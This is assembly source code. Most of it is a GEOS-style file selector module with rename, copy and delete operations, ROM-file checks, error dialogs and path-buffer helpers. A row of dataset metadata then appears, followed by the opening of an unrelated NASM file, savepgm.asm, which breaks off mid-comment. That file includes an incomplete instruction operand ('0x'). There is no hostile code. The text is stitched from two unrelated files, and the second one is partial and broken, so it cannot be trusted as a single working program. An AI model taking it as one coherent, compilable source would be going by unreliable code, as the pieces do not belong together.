ds:[di].OLFSI_uiBlock stc je exit mov di, offset OLFileSelectorClass call ObjCallSuperNoLock exit: .leave ret OLFSCheckIfInteractableObject endm COMMENT @---------------------------------------------------------------------- METHOD: OLFileSelectorDiskErrorResponse -- MSG_OL_FILE_SELECTOR_DISK_ERROR_RESPONSE for OLFileSelectorClass DESCRIPTION: Response from the user on a disk error. PASS: *ds:si - instance data es - segment of MetaClass ax - MSG_OL_FILE_SELECTOR_DISK_ERROR_RESPONSE cx - InteractionCommand RETURN: nothing ax, cx, dx, bp - destroyed ALLOWED TO DESTROY: bx, si, di, ds, es REGISTER/STACK USAGE: PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/CAVEATS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chris 8/ 2/93 Initial Version ------------------------------------------------------------------------------@ if SINGLE_DRIVE_DOCUMENT_DIR OLFileSelectorDiskErrorResponse method dynamic OLFileSelectorClass, \ MSG_OL_FILE_SELECTOR_DISK_ERROR_RESPONSE cmp cx, IC_OK jne cancel ; ; User pressed "OK"; rescan drive. ; mov ax, MSG_OL_FILE_SELECTOR_DOCUMENT_BUTTON GOTO ObjCallInstanceNoLock cancel: ; Don't do this for NIKE, as the file selector contains a ; "New" button which doesn't require having a disk in the drive ; ; User pressed "Cancel," attempt to dismiss the dialog containing ; the file selector. ; push si mov bx, segment VisClass ;set to the base class that can handle mov si, offset VisClass ; the message in ax mov cx, (CS_CONTROL shl 8) or VC_ESCAPE mov dl, mask CF_FIRST_PRESS mov ax, MSG_META_KBD_CHAR mov di, mask MF_RECORD call ObjMessage pop si mov cx, di mov ax, MSG_VIS_VUP_CALL_WIN_GROUP call VisCallParent ret OLFileSelectorDiskErrorResponse endm endif if _DUI COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorRename %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Rename the file listed in the file selector. CALLED BY: MSG_OL_FILE_SELECTOR_RENAME PASS: *ds:si = OLFileSelectorClass object ds:di = OLFileSelectorClass instance data es = segment of OLFileSelectorClass ax = message # RETURN: nothing DESTROYED: ax SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CL 12/ 1/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorRename method dynamic OLFileSelectorClass, MSG_OL_FILE_SELECTOR_RENAME uses cx, dx, bp .enter ; ; Get the selected file name ; call OLFileSelectorGetFileName ;^hbx = filename block ;es:di = filename push si ;save self lptr tst bx ;Got filename? LONG jz done push bx ;save for unlock later ; ; Create the dialog so that the user can rename the file. ; push ds:[LMBH_handle] mov bx, handle RenameDialog mov si, offset RenameDialog call UserCreateDialog mov ax, bx ;ax = dup block pop bx call MemDerefDS ;STOFFT uses FIXUP_DS mov bx, ax ;bx = dup block mov si, offset RenameText mov ax, mask GDCA_VM_FILE call SetTextObjectForFileType ; ; Put the original file name into the dialog box, and bring it up. ; movdw dxbp, esdi clr cx mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage mov ax, MSG_VIS_TEXT_SELECT_ALL mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage mov si, bx pop bx ;^hbx = file buff block call MemUnlock mov bx, si push ds:[LMBH_handle] mov si, offset RenameDialog call UserDoDialog mov bp, bx ;^hbp = dialog block pop bx ;^hbx= FileSelector blk call MemDerefDS ; ; Get the new file name if any ; mov bx, bp ;^hbx = dialog block cmp ax, IC_APPLY ;Really rename? stc ;assume not jnz destroyAndDone sub sp, size FileLongName mov bp, sp mov dx, ss ;dx:bp = filename buff mov cx, size FileLongName mov ax, MSG_VIS_TEXT_GET_ALL_PTR mov si, offset RenameText mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage ;dx:bp = new name ;ax,cx trashed clc ;continue operation destroyAndDone: ; ; Destroy the dialog because we don't need it anymore. ; carry set to skip operation ; pushf ;save continue flag push ds:[LMBH_handle] mov si, offset RenameDialog call UserDestroyDialog pop bx ;^hbx= FileSelector blk call MemDerefDS popf jc done ; ; Start rename ; mov si, ss:[bp + size FileLongName] ; *ds:si = self Assert objectPtr, dssi, OLFileSelectorClass call OLFileSelectorContinueRename add sp, FileLongName ;restore stack ; ; Rescan the dir becuase the name of the file has changed. ; ;no need for this as file change notification handles it ; mov ax, MSG_GEN_FILE_SELECTOR_RESCAN ; Assert objectPtr dssi, OLFileSelectorClass ; call ObjCallInstanceNoLock done: pop si ; pop self lptr (not used) .leave ret OLFileSelectorRename endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorContinueRename %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Continue the rename procedure. CALLED BY: OLFileSelectorRename PASS: *ds:si = instance data of OLFileSelectorClass ss:bp = new file name string (null-terminated) RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CL 12/ 1/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorContinueRename proc near uses ax, bx, cx, dx, si, bp .enter Assert objectPtr dssi, GenFileSelectorClass ; ; Go to the correct dir. before we rename the file. ; if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG call OLDocMarkBusyOnly else call OLDocMarkBusy endif call FilePushDir if DC_DISALLOW_SPACES_FILENAME ; ; check for trailing or leading spaces ; call CheckSpacesFilename jnc noError mov ax, SDBT_FILE_ILLEGAL_NAME ; in case error mov cx, ss ; cx:dx = name mov dx, bp call CallUserStandardDialog jmp short continue noError: endif mov ax, ATTR_GEN_PATH_DATA mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE call GenPathSetCurrentPathFromObjectPath EC < ERROR_C ERROR_DISK_UNAVAILABLE > ; ; Get the filename that we want to change, and rename it. ; call OLFileSelectorGetFileName ;es:di = old filename ;^hbx =filename block EC < tst bx > EC < ERROR_Z -1 > push bx ;save for unlock later push ds, si segmov ds, es mov dx, di ;ds:dx = old name segmov es, ss mov di, bp ;es:di = new name call FileRename pop ds, si pop bx call MemUnlock jc error ;; call SendCompleteUpdateToDC continue: if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG call OLDocMarkNotBusyOnly else call OLDocMarkNotBusy endif call FilePopDir .leave ret error: cmp ax, ERROR_FILE_EXISTS mov ax, SDBT_RENAME_FILE_EXISTS jz gotErrorCode mov ax, SDBT_RENAME_ERROR gotErrorCode: movdw cxdx, esdi ;cxdx = file name call CallUserStandardDialog jmp continue OLFileSelectorContinueRename endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorCopy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Duplicate the selected file. CALLED BY: MSG_OL_FILE_SELECTOR_COPY PASS: *ds:si = OLFileSelectorClass object ds:di = OLFileSelectorClass instance data es = segment of OLFileSelectorClass ax = message # RETURN: nothing DESTROYED: ax SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CL 3/ 7/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorCopy method dynamic OLFileSelectorClass, MSG_OL_FILE_SELECTOR_COPY uses cx, dx, bp .enter ; ; Get the selected file name ; call OLFileSelectorGetFileName ;^hbx = filename block ;es:di = filename push si ; save self lptr tst bx ;Got filename? LONG jz done push bx ;save for unlock later ; ; Create the dialog so that the user can rename the file. ; push ds:[LMBH_handle] mov bx, handle CopyDialog mov si, offset CopyDialog call UserCreateDialog mov ax, bx ;ax = dup block pop bx call MemDerefDS ;STOFFT uses FIXUP_DS mov bx, ax ;bx = dup block mov si, offset CopyText mov ax, mask GDCA_VM_FILE call SetTextObjectForFileType ; ; Put the original file name into the dialog box, and bring it up. ; movdw dxbp, esdi clr cx mov ax, MSG_VIS_TEXT_REPLACE_ALL_PTR mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage mov ax, MSG_VIS_TEXT_SELECT_ALL mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage ; ; Have to unlock this block here. Otherwise, a detach could occur ; during the UserDoDialog, whish would free the block. Then we'd ; try to free it later. ; mov si, bx ;^hsi <- copy db handle pop bx ;^hbx = file buff block call MemUnlock mov bx, si ;^hbx <- copy db handle push ds:[LMBH_handle] mov si, offset CopyDialog call UserDoDialog mov bp, bx ;^hbp = dialog block pop bx ;^hbx= FileSelector blk call MemDerefDS ; ; Get the new file name if any ; mov bx, bp ;^hbx = dialog block cmp ax, IC_APPLY ;Really rename? stc ;assume not jnz destroyAndDone sub sp, FileLongName mov bp, sp mov dx, ss ;dx:bp = filename buff mov cx, FileLongName mov ax, MSG_VIS_TEXT_GET_ALL_PTR mov si, offset CopyText mov di, mask MF_FIXUP_DS or mask MF_CALL call ObjMessage ;dx:bp = new name ;ax,cx trashed clc ;continue operation destroyAndDone: ; ; Destroy the dialog because we don't need it anymore. ; carry set to skip operation ; pushf ;save continue flag push ds:[LMBH_handle] mov si, offset CopyDialog call UserDestroyDialog pop bx ;^hbx= FileSelector blk call MemDerefDS popf jc done ; ; Start rename ; mov si, ss:[bp + size FileLongName] ; *ds:si = self Assert objectPtr, dssi, OLFileSelectorClass call OLFileSelectorContinueCopy add sp, FileLongName ;restore stack ; ; Rescan the dir becuase the name of the file has changed. ; ;no need for this as file change notification handles it ; mov ax, MSG_GEN_FILE_SELECTOR_RESCAN ; Assert objectPtr dssi, OLFileSelectorClass ; call ObjCallInstanceNoLock done: pop si ; pop self lptr (not used) .leave ret OLFileSelectorCopy endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorContinueCopy %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Continue the duplicating file operation. CALLED BY: OLFileSelectorCopy PASS: *ds:si = instance data of OLFileSelectorClass ss:bp = new file name string (null-terminated) RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CL 3/ 7/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorContinueCopy proc near uses ax, bx, cx, dx, si, bp .enter Assert objectPtr dssi, GenFileSelectorClass ; ; Go to the correct dir. before we duplicate the file. ; if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG call OLDocMarkBusyOnly else call OLDocMarkBusy endif call FileBatchChangeNotifications call FilePushDir if DC_DISALLOW_SPACES_FILENAME ; ; check for trailing or leading spaces ; call CheckSpacesFilename jnc noError mov ax, SDBT_FILE_ILLEGAL_NAME ; in case error mov cx, ss ; cx:dx = name mov dx, bp call CallUserStandardDialog clc ; already reported jmp short afterError noError: endif mov ax, ATTR_GEN_PATH_DATA mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE call GenPathSetCurrentPathFromObjectPath EC < ERROR_C ERROR_DISK_UNAVAILABLE > ; ; Get the filename that we want to change, and duplicate it. ; call OLFileSelectorGetFileName ;es:di = old filename ;^hbx =filename block EC < tst bx > EC < ERROR_Z OL_ERROR > push bx ;save for unlock later push ds, si ; ; Before we do the FileCopy, we need to make sure that the new name ; doesn't equal to any of the existing files. ; segmov ds, ss, ax mov dx, bp ;ds:dx = new name call FileGetAttributes ;carry set -> file not found ;ax,cx trashed cmc jc afterCopy ; ; now copy is safe. ; segmov ds, es mov si, di ;ds:si = old name segmov es, ss mov di, bp ;es:di = new name clr cx, dx ;default disk handle call FileCopy afterCopy: pop ds, si pop bx call MemUnlock afterError:: if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG call OLDocMarkNotBusyOnly ;flags preserved else call OLDocMarkNotBusy ;flags preserved endif jc error continue: call FileFlushChangeNotifications call FilePopDir .leave ret error: mov ax, offset copyFailed clr cx, di call CallErrorDialog jmp continue OLFileSelectorContinueCopy endp endif ; _JEDIMOTIF or _DUI if _DUI COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorDeleteSelection %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Delete the current selected file in the file selector. CALLED BY: MSG_GEN_FILE_SELECTOR_DELETE_SELECTION PASS: *ds:si = OLFileSelectorClass object ds:di = OLFileSelectorClass instance data es = segment of OLFileSelectorClass ax = message # RETURN: nothing DESTROYED: ax SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CL 1/19/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorDeleteSelection method dynamic OLFileSelectorClass, MSG_GEN_FILE_SELECTOR_DELETE_SELECTION uses cx, dx, bp .enter ; ; Set the correct path before executing the delete file operations ; call FilePushDir mov ax, ATTR_GEN_PATH_DATA mov dx, TEMP_GEN_PATH_SAVED_DISK_HANDLE call GenPathSetCurrentPathFromObjectPath ; ; Do we have any files? ; tst ds:[di].OLFSI_numFiles jz done ;done if none ; ; Check to see if we are trying to delete the file in ROM. ; call IsDeletingROMFile jc done ; ; Create the dialog to ask user for confirmation. ; push ds:[LMBH_handle], si mov bx, handle DeleteDialog mov si, offset DeleteDialog call UserCreateDialog mov ax, SST_WARNING call UserStandardSound call UserDoDialog call UserDestroyDialog pop bx, si ;^lbx:si = self call MemDerefDS cmp ax, IC_APPLY jnz done ; ; Start delete. After it is done, rescan the directory again. ; call OLFileSelectorContinueDelete ;no need for this as file change notification handles it ; mov ax, MSG_GEN_FILE_SELECTOR_RESCAN ; Assert objectPtr dssi, OLFileSelectorClass ; call ObjCallInstanceNoLock done: call FilePopDir .leave ret OLFileSelectorDeleteSelection endm COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorContinueDelete %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Continue the process of deleting the file. CALLED BY: OLFileSelectorDelete PASS: *ds:si = instance data of OLFileSelectorClass RETURN: nothing DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CL 1/19/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorContinueDelete proc near uses ax, bx, cx, dx, bp, di, es .enter Assert objectPtr dssi, GenFileSelectorClass if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG call OLDocMarkBusyOnly else call OLDocMarkBusy endif ; ; Get the name of the selected file which we wanted to delete. ; call OLFileSelectorGetFileName ;es:di = old filename ;^hbx = filename block EC < tst bx > EC < ERROR_Z -1 > push bx ;save for unlock later push ds, si segmov ds, es, ax mov dx, di ;ds:dx = old name call FileDelete pop ds, si if TURN_OFF_BUSY_ON_DOC_CTRL_DIALOG call OLDocMarkNotBusyOnly ;preserves flags else call OLDocMarkNotBusy ;preserves flags endif jc error continue: ; ; Ready to exit, unlock the block and reset the cursor. ; pop bx call MemUnlock .leave ret ; ; This part is to handle any error happened during deleting the file. ; error: ;; movdw cxdx, esdi ;cxdx = file name mov_tr cx, ax ;cx = error msg mov ax, offset fileNotFound cmp cx, ERROR_FILE_NOT_FOUND je gotErrorMsg mov ax, offset fileInUse cmp cx, ERROR_FILE_IN_USE je gotErrorMsg mov ax, offset fileAccessDenied cmp cx, ERROR_WRITE_PROTECTED je gotErrorMsg cmp cx, ERROR_ACCESS_DENIED je gotErrorMsg ; ; Jeez, what the heck happened? ; mov ax, offset deleteFailed gotErrorMsg: mov cx, es call CallErrorDialog ;trashed ax jmp continue OLFileSelectorContinueDelete endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% IsDeletingROMFile %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Check to see if we are trying to delete the file in ROM. CALLED BY: OLFileSelectorDeleteSelection PASS: *ds:si = instance data of OLFileSelectorClass RETURN: carry set = the selected file is in ROM or no selection carry clear = the selected file is not in ROM DESTROYED: nothing SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CL 1/11/96 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ IsDeletingROMFile proc near uses ax, bx, cx, dx, di, es .enter Assert objectPtr dssi, GenFileSelectorClass ; ; Get the name of the selected file which we wanted to delete. ; call OLFileSelectorGetFileName ;es:di = filename ;^hbx = filename block tst bx stc ;assume no selection jz done push bx ;save for unlock later push ds, si mov dx, di segmov ds, es, ax ;ds:dx = filename push ax ;creating buffer segmov es, ss, ax mov di, sp ;es:di = buffer mov ax, FEA_FILE_ATTR mov cx, size FileAttrs call FileGetPathExtAttributes EC < ERROR_C -1 > pop ax ;ax = FileAttrs pop ds, si ;*ds:si = file selector pop bx ;^hbx = filename block call MemUnlock ; ; If it is the file in ROM, then inform the user. ; test ax, mask FA_RDONLY jz done ;jump if writable ; ; Bring the dialog box to inform the user. ; push ds:[LMBH_handle], si mov bx, handle DeleteRomDialog mov si, offset DeleteRomDialog call UserCreateDialog mov ax, SST_WARNING call UserStandardSound call UserDoDialog call UserDestroyDialog pop bx, si call MemDerefDS ;ds = updated stc done: .leave ret IsDeletingROMFile endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% CallErrorDialog %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Inform the user of the error occured during the operation. CALLED BY: OLFileSelectorContinueDelete() PASS: ax = chunk handle of the error string. cx:di = file name to be displayed OR cx = di = 0 RETURN: nothing DESTROYED: ax, di, es SIDE EFFECTS: PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CL 1/23/95 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ CallErrorDialog proc near uses bx .enter ; ; Create an error dialog. ; clr bx xchg bx, ax ;bx = chunk handle of str push ax, ax ;SDP_helpContext push ax, ax ;SDP_customTriggers push ax, ax ;SDP_stringArg2 pushdw cxdi ;SDP_stringArg1 mov di, bx mov bx, handle DocumentStringsUI ;^lbx:di = error str call MemLock ;ax = str block mov es, ax mov di, es:[di] ;es:di = str pushdw esdi ;SDP_customString mov ax, CustomDialogBoxFlags<0, CDT_ERROR, GIT_NOTIFICATION,0> push ax ;SDP_customFlags call UserStandardDialog call MemUnlock .leave ret CallErrorDialog endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% OLFileSelectorGetFileName %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Get the name of the selected file in the FileSelector CALLED BY: INTERNAL PASS: *ds:si = instance of OLFileSelectorClass RETURN: es:di = filename str (null terminated) ^hbx = block which contains the filename pointed by es:di DESTROYED: nothing SIDE EFFECTS: The caller is supposed to unlock the block that contains the string. ds may be updated. PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- CL 12/ 1/94 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFileSelectorGetFileName proc near uses ax, cx, dx, bp, si .enter Assert objectPtr dssi, OLFileSelectorClass ; ; Find out which file is selected. If there is no file selected, ; in the meantime, we just quit. ; if _DUI mov ax, MSG_GEN_ITEM_GROUP_GET_SELECTION else mov ax, MSG_TABLE_GET_CURRENT_SELECTION endif mov di, offset OLFileSelectorFileList call OLFSCallUIBlockGadget ;ax = row selection ;cx,dx,bp trashed ; ; Having found the selected file, we need to get its name ; if _DUI mov bx, 0 ;assume null blockH ;(preserves flags) jc quit ; none selected cmp ax, GIGS_NONE je quit ; none selected mov cx, ax ; cx = current sel. else clr bx ;assume null blockH endif mov di, ds:[si] add di, ds:[di].OLFileSelector_offset cmp cx, ds:[di].OLFSI_numFiles ;beyond end of file? jae quit tst ds:[di].OLFSI_fileBuffer ;null block handle? jz quit call OLFSDerefIndexBuffer ;si= offset in file buf mov bx, ds:[di].OLFSI_fileBuffer ;^bx = file buff block call MemLock mov es, ax ;es:si = file buf entry add si, offset OLFSE_name ;es:si = file name mov di, si ;es:di = file name quit: .leave ret OLFileSelectorGetFileName endp endif ; _JEDIMOTIF or _DUI if _ISUI ; ; taken from shell library ; COMMENT @------------------------------------------------------------------- FileComparePathsEvalLinks ---------------------------------------------------------------------------- DESCRIPTION: Takes two paths that may contain links and evaluates both before calling FileComparePaths on them. CALLED BY: GLOBAL PASS: cx - disk handle of path 1 ds:si - pathname #1 dx - disk handle of path #2 es:di - pathname #2 RETURN: carry: - set on error, ax = FileError or PCT_ERROR (if failed in FileComparePaths) - clear if completed, al - PathCompareType DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- dlitwin 11/1/92 Initial version ---------------------------------------------------------------------------@ OLFSFileComparePathsEvalLinks proc near uses bx, cx, dx, si, di, ds, es path2 local fptr push es, di diskHandle2 local word push dx diskHandle1 local word .enter if ERROR_CHECK ; ; Validate that path 1 is not in a movable code segment ; FXIP< push bx, si > FXIP< mov bx, ds > FXIP< call ECAssertValidFarPointerXIP > ; ; Validate that path 2 is not in a movable code segment ; FXIP< mov bx, es > FXIP< mov si, di > FXIP< call ECAssertValidFarPointerXIP > FXIP< pop bx, si > endif call OLFSShellAlloc2PathBuffers mov di, offset PB2_path1 clr dx ; no <drivename:> neccessary mov bx, cx ; bx, ds:si is path to evaluate mov cx, size PathName call FileConstructActualPath jc done mov ss:[diskHandle1], bx mov bx, ss:[diskHandle2] lds si, ss:[path2] mov di, offset PB2_path2 push di call FileConstructActualPath pop di jc done mov dx, bx ; dx, es:di is path 2 mov cx, ss:[diskHandle1] segmov ds, es mov si, offset PB2_path1 call FileComparePaths done: call OLFSShellFreePathBuffer .leave ret OLFSFileComparePathsEvalLinks endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ShellFreePathBuffer %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Free a path buffer allocated by either ShellAllocPathBuffer or ShellAlloc2PathBuffers CALLED BY: PASS: es - segment of path buffer RETURN: nothing DESTROYED: nothing, flags preserved PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 11/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSShellFreePathBuffer proc near uses bx .enter pushf mov bx, es:[PB_handle] call MemFree popf .leave ret OLFSShellFreePathBuffer endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ShellAlloc2PathBuffers %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Allocate a buffer for 2 paths on the heap CALLED BY: PASS: nothing RETURN: es:0 - PathBuffer2 structure (es:0 is the handle) DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 11/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSPathBuffer struct PB_handle hptr.PathBuffer PB_path PathName <> OLFSPathBuffer ends OLFSPathBuffer2 struct PB2_handle hptr.PathBuffer2 PB2_path1 PathName <> PB2_path2 PathName <> OLFSPathBuffer2 ends OLFSShellAlloc2PathBuffers proc near uses ax .enter mov ax, size OLFSPathBuffer2 call OLFSAllocCommon .leave ret OLFSShellAlloc2PathBuffers endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% AllocCommon %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Common routine to allocate the desired buffer CALLED BY: ShellAllocPathBuffer, ShellAlloc2PathBuffers PASS: RETURN: nothing DESTROYED: nothing PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- chrisb 11/11/92 Initial version. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ OLFSAllocCommon proc near uses bx, cx .enter mov cx, (mask HAF_ZERO_INIT shl 8) or ALLOC_DYNAMIC_NO_ERR_LOCK call MemAlloc mov es, ax mov es:[PB_handle], bx .leave ret OLFSAllocCommon endp endif FileSelector ends
26.25339
102
0.655426
4c52308db990428b5b1c816cdbe37fbd93ae44c4
4,088
asm
Assembly
src/imageprocessing/savepgm/src/savepgm.asm
nikAizuddin/lib80386
198a5a3490c5ad968dcf13630cafe4d2f22ab2b0
[ "MIT" ]
4
2015-01-25T13:47:33.000Z
2021-11-25T12:45:02.000Z
src/imageprocessing/savepgm/src/savepgm.asm
nikAizuddin/lib80386
198a5a3490c5ad968dcf13630cafe4d2f22ab2b0
[ "MIT" ]
null
null
null
src/imageprocessing/savepgm/src/savepgm.asm
nikAizuddin/lib80386
198a5a3490c5ad968dcf13630cafe4d2f22ab2b0
[ "MIT" ]
1
2021-11-25T12:45:14.000Z
2021-11-25T12:45:14.000Z
; 1 2 3 4 5 6 7 ;234567890123456789012345678901234567890123456789012345678901234567890 ;===================================================================== ; ; FUNCTION: savepgm ; FUNCTION PURPOSE: <See doc/description file> ; ; AUTHOR: Nik Mohamad Aizuddin bin Nik Azmi ; EMAIL: nickaizuddin93@gmail.com ; DATE CREATED: 22-MARCH-2015 ; ; CONTRIBUTORS: --- ; ; LANGUAGE: x86 Assembly Language ; SYNTAX: Intel ; ASSEMBLER: NASM ; ARCHITECTURE: i386 ; KERNEL: Linux 32-bit ; FORMAT: elf32 ; ; EXTERNAL FILES: --- ; ; VERSION: 0.1.1 ; STATUS: Alpha ; BUGS: --- <See doc/bugs/index file> ; ; REVISION HISTORY: <See doc/revision_history/index file> ; ; MIT Licensed. See /LICENSE file. ; ;===================================================================== ; --- CONSTANTS ----- OPEN equ 5 CLOSE equ 6 READ equ 3 O_WRONLY equ 0q1 PERMISSION equ 0q644 ; rw- r-- r-- ; ------------------- global savepgm section .text savepgm: ;parameter 1 = addr_filename:EAX ;parameter 2 = width:EBX ;parameter 3 = height:ECX ;parameter 4 = addr_data:EDX ;returns = 0 if success. Otherwise, -1 (EAX) .setup_stackframe: sub esp, 4 ;reserve 4 bytes to store ebp mov [esp], ebp ;store ebp to stack mov ebp, esp ;store current stack ptr to ebp .setup_localvariables: sub esp, 52 ;reserve 52 bytes mov [esp ], eax ;addr_filename mov [esp + 4], ebx ;width mov [esp + 8], ecx ;height mov [esp + 12], edx ;addr_data mov dword [esp + 16], 0 ;fd mov dword [esp + 20], 0x ;magicnumber ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ; ; ## Open the file ; fd = OPEN(addr_filename, O_RDONLY); ; If(fd == -1) Return -1; ; ; - - - - - - - - - - - - 